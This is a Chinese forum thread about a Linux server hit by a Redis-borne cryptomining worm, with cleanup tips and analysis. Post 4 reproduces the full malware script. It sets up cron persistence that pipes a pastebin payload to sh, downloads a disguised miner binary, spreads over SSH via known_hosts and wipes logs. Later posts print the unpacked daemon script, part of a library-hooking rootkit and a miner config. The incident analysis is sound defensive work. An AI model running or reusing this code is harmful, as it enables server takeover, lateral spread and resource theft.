1
cpdyj0 2019-02-21 23:32:51 +08:00
对抗这种 rootkit 难度爆表,,回滚更划算,
|
2
abcbuzhiming OP @cpdyj0 我想实在没办法也只能重装了,我的系统设置的是强密码,防火墙一直开着,ssh 改了端口,没有运行过脚本语言,就跑着 java,mysql,redis,就这样还能被黑进来。头一次遇到
|
3
hv3s1 2019-02-21 23:36:12 +08:00
/tmp/watchdogs 有个看门狗程序.. 要不上个 clamav 扫扫
|
4
goophy 2019-02-21 23:37:22 +08:00 1
the script
```sh export PATH=$PATH:/bin:/usr/bin:/sbin:/usr/local/bin:/usr/sbin echo "*/10 * * * * (curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh" | crontab - ps auxf | grep -v grep | grep hwlh3wlh44lh | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/.sshd | awk '{print $2}' | xargs kill -9 ps auxf | grep -v grep | grep /usr/bin/bsd-port | awk '{print $2}' | xargs kill -9 ps auxf|grep -v grep|grep "xmr" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "xig" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "ddgs" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "qW3xT" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "wnTKYg" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "t00ls.ru" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "sustes" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "thisxxs" | awk '{print $2}' | xargs kill -9 ps auxf|grep -v grep|grep "hashfish" | awk '{print $2}'|xargs kill -9 ps auxf|grep -v grep|grep "kworkerds" | awk '{print $2}'|xargs kill -9 chattr -i /etc/cron.d/root chattr -i /etc/cron.d/system chattr -i /etc/ld.so.preload chattr -i /etc/cron.d/apache chattr -i /var/spool/cron/root chattr -i /var/spool/cron/crontabs/root chattr -i /usr/local/bin/dns chattr -i /usr/sbin/netdns chattr -i /bin/netstat rm -rf /etc/cron.d/system /etc/cron.d/apache /etc/cron.hourly/oanacron /etc/cron.daily/oanacron /etc/cron.monthly/oanacron /usr/local/lib/libntp.so /etc/init.d/netdns /etc/init.d/kworker /bin/httpdns /usr/local/bin/dns /bin/netstat /usr/sbin/netdns chkconfig --del kworker chkconfig --del netdns p=$(ps auxf|grep -v grep|grep ksoftirqds|wc -l) if [ ${p} -eq 0 ];then ps auxf|grep -v grep | awk '{if($3>=80.0) print $2}'| xargs kill -9 fi if [ -e "/tmp/gates.lod" ]; then rm -rf $(readlink /proc/$(cat /tmp/gates.lod)/exe) kill -9 $(cat /tmp/gates.lod) rm -rf $(readlink /proc/$(cat /tmp/moni.lod)/exe) kill -9 $(cat /tmp/moni.lod) rm -rf /tmp/{gates,moni}.lod fi if [ ! -f "/tmp/.lsdpid" ]; then ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs else (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs fi nohup /tmp/watchdogs >/dev/null 2>&1 & elif [ ! -f "/proc/$(cat /tmp/.lsdpid)/stat" ]; then ARCH=$(uname -m) if [ ${ARCH}x = "x86_64x" ]; then (curl -fsSL http://thyrsi.com/t6/672/1550667479x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667479x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs elif [ ${ARCH}x = "i686x" ]; then (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs else (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs fi nohup /tmp/watchdogs >/dev/null 2>&1 & fi if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done fi echo 0>/root/.ssh/authorized_keys echo 0>/var/spool/mail/root echo 0>/var/log/wtmp echo 0>/var/log/secure echo 0>/var/log/cron # # # ``` |
5
hellowes 2019-02-21 23:38:08 +08:00 1
@abcbuzhiming 直接 ip 暴露到外网吗?那太危险了
|
6
blubillow 2019-02-21 23:43:19 +08:00 via iPhone
昨天同样中招,衰啊
|
7
pursuer 2019-02-22 00:25:29 +08:00
拜这个帖子所赐发现了 pastebin 这个神奇的网站。
如果不是自己运行了来历不明的程序的话可能就是其他服务的漏洞被利用了,而且感觉可能还是 root 权限运行的服务 |
8
defunct9 2019-02-22 01:02:56 +08:00 via iPhone 7
开 ssh,让我上去看看
|
9
annoy1309 2019-02-22 01:06:55 +08:00
不是加密,只是单纯 base6*4
|
10
viruser 2019-02-22 01:18:04 +08:00 via Android 1
重点应该是这两句`if [ -f /root/.ssh/known_hosts ] && [ -f /root/.ssh/id_rsa.pub ]; then
for h in $(grep -oE "\b([0-9]{1,3}\.){3}[0-9]{1,3}\b" /root/.ssh/known_hosts); do ssh -oBatchMode=yes -oConnectTimeout=5 -oStrictHostKeyChecking=no $h '(curl -fsSL https://pastebin.com/raw/sByq0rym||wget -q -O- https://pastebin.com/raw/sByq0rym)|sh >/dev/null 2>&1 &' & done fi`和下载后缀为.jpg 其实是 elf 的挖矿软件并重命名为 watchdogs |
11
ochatokori 2019-02-22 02:05:27 +08:00 via Android
一点进去大大的 base64 -d 。。。。
|
12
Tyanboot 2019-02-22 03:17:09 +08:00
别想了,直接重装吧。
当然别忘记去 pastebin 这几个站上面发 abuse report 这几个。 |
13
Tink 2019-02-22 08:15:54 +08:00 via iPhone
这不就是 base64 吗
|
14
yongxa 2019-02-22 08:21:04 +08:00 via Android
Redis 权限?
|
15
lipeng1943 2019-02-22 08:29:51 +08:00 via iPhone
目测 redis 没开认证
|
18
zou2699 2019-02-22 08:35:45 +08:00 via iPhone
如果 redis 权限不控制好的话,是可以把公钥 dump 进你的系统的
|
19
jobtesting 2019-02-22 08:57:27 +08:00 via iPhone
阿里云这么容易被黑的?
|
20
uorz 2019-02-22 08:57:38 +08:00 via Android
@viruser 这句看起来没啥,只是在传播到其它机器上。只是想知道机器是怎么被攻入的。楼主说用了强密码,再考虑到连 b64 都不知道,怀疑有啥乌龙把密码泄露了。
|
22
abcbuzhiming OP @zou2699 redis 有这样的漏洞?麻烦详细说一下
|
23
lepig 2019-02-22 09:12:03 +08:00 2
之前 在一台测试 vps 上为了方便安装了一个没设置密码的 redis 服务,然后 和楼主的情况一样。
我使用了 下面的代码基本上 清除了 。cpu 目前正常,楼主可以参考下。 https://coding.net/u/omg/p/AA/git/blob/master/%E6%B8%85%E7%90%86%E8%84%9A%E6%9C%AC.sh 不过 如果能回滚最好回滚 |
24
lepig 2019-02-22 09:14:21 +08:00
然后 使用 top 命令 查看下 是否有`python -c `开头的命令,看看是否有莫名启动的进程。直接 kill 掉
|
26
LokiSharp 2019-02-22 09:18:51 +08:00
目测是没开防火墙然后 Redis MongoDB 之类暴露在外网了
|
27
17612729987 2019-02-22 09:19:35 +08:00
昨天我也中招了,提交工单到阿里排查以后让我重装系统
![]( https://i.loli.net/2019/02/22/5c6f4dc3c8c11.png) 更换系统盘,初始化系统盘,到晚上居然云盾又提醒我 ![]( https://i.loli.net/2019/02/22/5c6f4e154acc9.png) |
29
crazyjin 2019-02-22 09:22:13 +08:00
服务器被入侵了和戴绿帽子一样头大。
|
30
17612729987 2019-02-22 09:24:12 +08:00
和楼上说的一样,没装 redis 之前用了快一年一点问题都没有,前天装上了,默认没密码我就给改,第二天晚上就被阿里云发邮件提醒
|
31
17612729987 2019-02-22 09:25:50 +08:00
默认没密码我就给改 -> 默认没密码我就没改
|
32
passerbytiny 2019-02-22 09:26:39 +08:00
楼主先说下 redis 是不是开了公网访问并且不设密码,如果是的话,那 100%是这个原因。
|
33
xxxy 2019-02-22 09:33:52 +08:00
redis 未授权访问可以 get Shell 的
|
34
kernel 2019-02-22 09:38:47 +08:00
你的 mysql/redis 都开了公网访问? 我都不敢开这种东西的公网,感觉比 nginx 脆多了
|
35
linnil 2019-02-22 09:45:35 +08:00 1
|
36
msg7086 2019-02-22 09:48:14 +08:00
@17612729987 哪个发行版啊,装上以后默认 root 运行而且暴露公网的?
|
38
linnil 2019-02-22 09:58:04 +08:00
对了,35 楼脚本不停止挖矿,只清理,清理之后自己删挖矿进程吧。
脚本也使用了 base64 编码,自己解码即可。 写得不好之处,欢迎告知我修改。 |
39
Heyavc 2019-02-22 09:59:14 +08:00
没设置密码的 redis 暴露在公网很危险的,未授权访问设置写入(如果有写入权限的话)私钥信息,就算 SSH 改了端口也能扫描出来。
|
40
malagebidi 2019-02-22 09:59:33 +08:00
|
41
abcbuzhiming OP @passerbytiny Redis 开了公网访问,但是设置了 32 位强密码。难道密码外泄了?但是 redis 到底是如何造成木马进入的?原理是什么?有没有方法避免,mysql 密码让人知道了也就是脱裤,这能上传木马破坏威力太大了
|
43
al0ne 2019-02-22 10:12:03 +08:00
https://github.com/al0ne/LinuxCheck 试试这个脚本 寻找 linux 问题的
|
44
linnil 2019-02-22 10:24:56 +08:00 3
咋感觉都没人愿意理我呢,昨天正好看了下这个 sByq0rym 这个挖矿木马。又花五分给说说,极力挽救一下。
木马主要是利用定时任务,每 15/30 分钟执行一次,而且该木马会覆盖一个库函数,当你使用一些命令的时候会调用该库的函数,作者在函数里进行了屏蔽,比如 ps 的时候,显示不出进程,而且在你用 vi 修改定时任务的时候,会先将数据写入到定时任务文件。所以对付它可以先停掉定时任务,然后删掉那个动态链接库,然后刷新并重建定时任务文件,在开启定时任务。 脚本里面有函数,虽然命名不规范,很垃圾,但是应该也许容易看。 |
45
Biebe 2019-02-22 10:27:27 +08:00 2
开放 ssh,让其他所谓的入侵者一起进去,以毒攻毒
|
48
Acoffice 2019-02-22 10:29:54 +08:00
@linnil 而且这个最近貌似感染了不少机器,但是从哪里进来的感染的,没找到.如果你能出一个详细解说文档,我觉得会更好啊.
|
49
mingzu 2019-02-22 10:30:06 +08:00
目测 redis 未授权写文件。。。
|
50
wasmir 2019-02-22 10:33:45 +08:00
@abcbuzhiming redis 可以通过 lua 或数据备份往你磁盘里写东西
|
51
zhangneww 2019-02-22 10:34:21 +08:00
redis 非常容易被入侵,别问我是怎么知道的
|
52
Hazurt 2019-02-22 10:35:49 +08:00
家里公网 22 端口上放了一个树莓派,至今还没高手闯进来玩玩,不过扫端口挺多的,最近两周统计到 4656 个 ip。
( PS:不是引诱大家去攻击的,就不放地址了) |
54
17612729987 2019-02-22 10:46:02 +08:00
@linnil 整理好了艾特我一下,我也中招了
|
56
maliming 2019-02-22 10:47:37 +08:00
还是 docker 好!
|
57
nicevar 2019-02-22 10:48:14 +08:00
@Hazurt 谁没事去玩你的,高手很忙的,现在一套下来都是自动扫描植入后门或挖矿脚本然后继续自动扩散,阿里云一大票主机都是这样被搞定的,所以有人经常问为啥会有内网的机器扫描自己的服务器
可以看一下服务器的安全日志,一堆都是阿里云或者腾讯云的 ip 自动扫描,反查过去一看都是些什么小公司的服务器,平时没有什么人管理的那种 Redis 的漏洞已经冒出来很长时间,我不知道为啥老有些人喜欢开公网端口,真的是作死,开公网端口一旦有未公开的溢出漏洞就会死得很惨,不仅仅是 Redis,像 MySQL 也一样 |
58
passerbytiny 2019-02-22 10:48:20 +08:00
@abcbuzhiming #39 Redis 设置了密码,那 Redis 是原因的可能性就不大了。我不是运维,后面也只能看了,知道 Reids 这个是因为之前公司踩过坑。Redis 有一个漏洞,有特殊方法可以通过正常的 Redis 端口获取到主机的 Root 权限,然而这个漏洞在 Redis 开发者那里被标记为不予解决,因为 Reids 设计的应用环境是纯内网访问。
|
59
guanhui07 2019-02-22 10:55:34 +08:00
redis 一定要修改端口,设置密码
|
60
Xavier001 2019-02-22 10:57:18 +08:00
插眼
|
61
linnil 2019-02-22 11:02:59 +08:00 4
## 来源
大部分来源于 redis,这里也只说明 redis ### redis 在 redis 以 root 运行,开启公网访问,没有禁用 /重命名 confing 命令,且使用系统定时任务服务的情况下,可实现入侵。当局域网内有一台机被沦陷之后,且该机器登录过且无需密码能登录局域网内服务器,将进行扫描入侵。 ## 脚本流程 该脚本将先清理掉服务器可能已经被挖矿的其他程序,然后下载自己的看门狗程序,设置并覆盖加载动态链接库: /etc/ld.so.preload /usr/local/lib/libioset.so 写入定时任务,文件有: 1. /var/spool/cron/root 2. /etc/cron.d/root 3. /var/spool/cron/crontabs/root 常见 watchdogs 自启动服务: /etc/init.d/watchdogs ## 特别说明 - 链接库 链接库会覆盖某些函数,当运行一些命令时会先执行作者写的函数,所以在使用 cd,vi 等命令时会发现定时任务又回来了,这是因为这些命令会调用该链接库所致。并不是有其他程序监控并修改文件所致。 ## 建议清理方案 设置 redis 停掉定时任务 清理并刷新动态链接库 清理并重建定时任务 删除自启动 启动定时任务 ## 不足 由于时间与能力的关系,分析可能不完整,欢迎大家提出意见。 @17612729987 @Acoffice |
62
aniua 2019-02-22 11:04:53 +08:00
低级漏洞。。。暴露在公网的服务都得注意下权限控制啊,Redis 完全没必要在公网上跑。
|
63
firebroo 2019-02-22 11:06:56 +08:00
redis 未授权访问可以 get Shell 的
|
64
chennqqi 2019-02-22 11:11:25 +08:00
1 楼正解
|
65
viger 2019-02-22 11:46:52 +08:00
前天一台装了 jenkins 的机器不幸中招。
攻击者利用的是 jenkins 的一个插件漏洞,还好运行 jenkins 的账户没什么权限,删掉定时和木马程序,升级 jenkins 就好了。 一步步查入侵其实蛮有意思。 |
66
linnil 2019-02-22 11:54:37 +08:00
最新消息,libioset 貌似升级了,
将 libioset。so 文件破坏,系统重启,清空能用。主要是那个动态链接库搞事情。 |
67
iccfish 2019-02-22 12:19:48 +08:00
顺手对涉及到的四个 pastebin 内容 report abuse。
|
68
ice2016 2019-02-22 12:41:07 +08:00
最低权限原则,DB,CACHE 等等不能直接开在外网
|
69
realpg 2019-02-22 12:42:13 +08:00
发生这种事儿 99%是 CentOS/RHEL
|
70
infra 2019-02-22 12:52:38 +08:00
用 Debian 吧,apt install fail2ban 挡住 90+% 的攻击
|
71
tomychen 2019-02-22 13:03:31 +08:00
先把域名 ban 掉,再分析不就方便了?
|
72
xiaomudou 2019-02-22 13:19:56 +08:00 via Android
redis 的锅
|
75
realpg 2019-02-22 13:36:18 +08:00
@xiaomudou
因为 ubuntu 啥的直接从 apt 安装的 deb 包,数据库类全部默认监听 127.0.0.1 你想面对 0.0.0.0 监听,手动改去 redhat 系的 rpm 包,yum 安装的,还是你网上找的别人打包的 rpm,全部都是监听 0.0.0.0 的 对于 redis 等几种 root 权限运行且能备份恢复操作文件系统的,这就要了亲命了 当然,还有广泛流传的 redhat/centos 到手先关闭 selinux 大法,帮你阻止了最后的一线安全机会 |
78
blueskea 2019-02-22 14:00:21 +08:00 via Android
也中招了,top 看不出 CPU 占用,监控软件一看 CPU 满的,查了下,通过 redis 进来的
|
79
fooying 2019-02-22 14:01:05 +08:00 2
|
80
tankren 2019-02-22 14:30:11 +08:00
防火墙的必要性,IP 白名单
|
81
lvxiang119 2019-02-22 15:34:01 +08:00
我也遇到了相同的情况,病毒有点意思
首先会伪装成一张可执行的图片,执行完毕后的脚本如下 发现该图片是用 uxp 加壳的,想办法去壳,破解后发现了几个文件 其中 deamon 的脚本破解为 ``` #! /bin/bash #chkconfig: - 99 01 #description: watchdogs daemon #processname: /usr/sbin/watchdogs ### BEGIN INIT INFO # Provides: /user/sbin/watchdogs # Required-Start: # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: 0 1 6 # Short-Description: watchdogs deamon # Description: watchdogs deamon ### END INIT INFO LocalPath="/usr/sbin/watchdogs" name='watchdogs' pid_file="/tmp/.lsdpid" stdout_log="/var/log/$name.log" stderr_log="/var/log/$name.err" get_pid(){ cat "$pid_file" } is_running(){ [ -f "$pid_file" ] &&/usr/sbin/watchdogs -Pid $(get_pid) > /dev/null 2>&1 } case "$1" in start) if is_running; then echo "Already started" else echo "Starting $name" $LocalPath >>"$stdout_log" 2>> "$stderr_log" & echo $! > "$pid_file" if ! is_running; then echo "Unable to start, see$stdout_log and $stderr_log" exit 1 fi fi ;; stop) if is_running; then echo -n "Stopping$name.." kill $(get_pid) for i in {1..10} do if ! is_running; then break fi echo -n "." sleep 1 done echo if is_running; then echo "Not stopped; maystill be shutting down or shutdown may have failed" exit 1 else echo "Stopped" if [ -f "$pid_file"]; then rm "$pid_file" fi fi else echo "Not running" fi ;; restart) $0 stop if is_running; then echo "Unable to stop, will notattempt to start" exit 1 fi $0 start ;; status) if is_running; then echo "Running" else echo "Stopped" exit 1 fi ;; *) echo "Usage: $0{start|stop|restart|status}" exit 1 ;; esac exit 0 ``` 劫持系统的 c++部分为 ``` void *libc; static void init (void) __attribute__ ((constructor)); static int (*old_access) (const char *path, int amode); static int (*old_lxstat) (int ver, const char *file, struct stat * buf); static int (*old_lxstat64) (int ver, const char *file, struct stat64 * buf); static int (*old_open) (const char *pathname, int flags, mode_t mode); static int (*old_rmdir) (const char *pathname); static int (*old_unlink) (const char *pathname); static int (*old_unlinkat) (int dirfd, const char *pathname, int flags); static int (*old_xstat) (int ver, const char *path, struct stat * buf); static int (*old_xstat64) (int ver, const char *path, struct stat64 * buf); static int get_dir_name(DIR* dirp, char* buf, size_t size) { int fd = dirfd(dirp); if(fd == -1) { return 0; } char tmp[64]; snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd); ssize_t ret = readlink(tmp, buf, size); if(ret == -1) { return 0; } buf[ret] = 0; return 1; } ...省略大量 ``` 还有一个挖坑的配置 ``` { "algo": "cryptonight", "api": { "port": 0, "access-token": null, "id": null, "worker-id": null, "ipv6": false, "restricted": true }, "asm": true, "autosave": true, "av": 0, "background": false, "colors": true, "cpu-affinity": null, "cpu-priority": null, "donate-level": 0, "huge-pages": true, "hw-aes": null, "log-file": null, "max-cpu-usage": 100, "pools": [ { "url": "stratum+tcp://xmr.f2pool.com:13531", "user": "46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava.teny", "pass": "x", "rig-id": null, "nicehash": false, "keepalive": false, "variant": -1, "tls": false, "tls-fingerprint": null } ], "print-time": 60, "retries": 5, "retry-pause": 5, "safe": false, "threads": null, "user-agent": null, "watch": false } ``` 发现是在挖门罗币。 为了获取更多的 CPU,这个病毒还会首先检测并杀死竞争对手。 |
82
abcbuzhiming OP @lvxiang119 请问你是如何找到这张“图片”的?
|
83
no1xsyzy 2019-02-22 16:01:08 +08:00
|
84
no1xsyzy 2019-02-22 16:03:48 +08:00
@abcbuzhiming 就在 base64 -d 后的脚本里,URL 明明白白贴着,cURL 或者 wGet 到 /tmp/watchdogs
``` (curl -fsSL http://thyrsi.com/t6/672/1550667515x1822611209.jpg -o /tmp/watchdogs||wget -q http://thyrsi.com/t6/672/1550667515x1822611209.jpg -O /tmp/watchdogs) && chmod +x /tmp/watchdogs ``` |
86
HangoX 2019-02-22 16:07:54 +08:00
楼主这样一说。。我觉得我的服务器用 vnc 输入账号密码无法登录上去可能是已经被攻击了。。。可是我上面只有一个服务。。我只能重装了
|
87
alvin666 2019-02-22 16:09:02 +08:00 via Android
MySQL 密码泄露可也不止脱裤这么简单,可以利用日志写入恶意脚本的
反正不管哪个服务,都不要开公网访问,iptables 直接 drop,一定要开的话就白名单,ssh 用秘钥 /fail2ban |
88
lvxiang119 2019-02-22 16:13:35 +08:00
@abcbuzhiming 重点是把图片 通过 binwalk( https://github.com/ReFirmLabs/binwalk) 解压,内置
``` 0.elf 挖坑核心 go 语言编写 21EC3A c++劫持函数 212D3A mine config 21565A watchdogs deamon ``` 几个文件 0.elf 似乎要用 uxp 去壳。 但没能力反编译 |
89
1423 2019-02-22 16:33:15 +08:00
@17612729987 #26 https 的,云盾是怎么拿到 url 路径的呢
|
90
McDonald 2019-02-22 16:35:21 +08:00
上面所有方法都试了的人表示 1 楼正解
|
92
linnil 2019-02-22 16:39:24 +08:00
@lvxiang119 哇,大佬啊,我只知道它劫持了系统库函数,但是不知道具体劫持了哪些,功力不足啊。
顺带问一下破坏了链接库,删除定时任务,开机自启之后,这个挖矿病毒算清理了么? |
93
abcbuzhiming OP @1423 https 不管域名解析,域名解析的 dns 协议可是明码的,怎么可能拿不到你的 url
另外各位,79 楼的是目前这个病毒的最权威描述,这个木马 hack 了大部分的系统命令,你直接用系统命令是看不到它的文件的,确实必须用 busybox |
94
yaxin 2019-02-22 16:55:13 +08:00
只是删了`netstat`,用`ss`命令就行
|
95
yongxa 2019-02-22 17:03:48 +08:00
帮楼主找了一下,还是 redis 的问题,昨晚爆发的
|
96
yongxa 2019-02-22 17:04:58 +08:00
|
97
vjnjc 2019-02-22 17:55:33 +08:00
@viger 能透露一下 jenkins 的哪个插件有问题吗,我们昨天也经历了 jenkins 机器被攻击,简单粗暴地把它关了 0 0
|
98
lvxiang119 2019-02-22 17:58:36 +08:00
@linnil 可以使用 chattr -i /etc/cron.d/root 去锁,看看这个文件如果被写入了,就说明清除成功。 必须要确保清除掉 so 文件。
|
99
szlszl35622 2019-02-22 18:05:08 +08:00
又是把这个 pastebin.com 当传播介质。。。
我上次碰到挖矿脚本的时候,18/9/3。 也是通过这个 pastebin.com 来传播。 恰好也是针对 Redis 的。 当时一时兴起,流水账一样地记录了一半。 https://zsnmwy.net/300.html 不过当时没有这个牛。 |
100
szlszl35622 2019-02-22 18:07:24 +08:00
|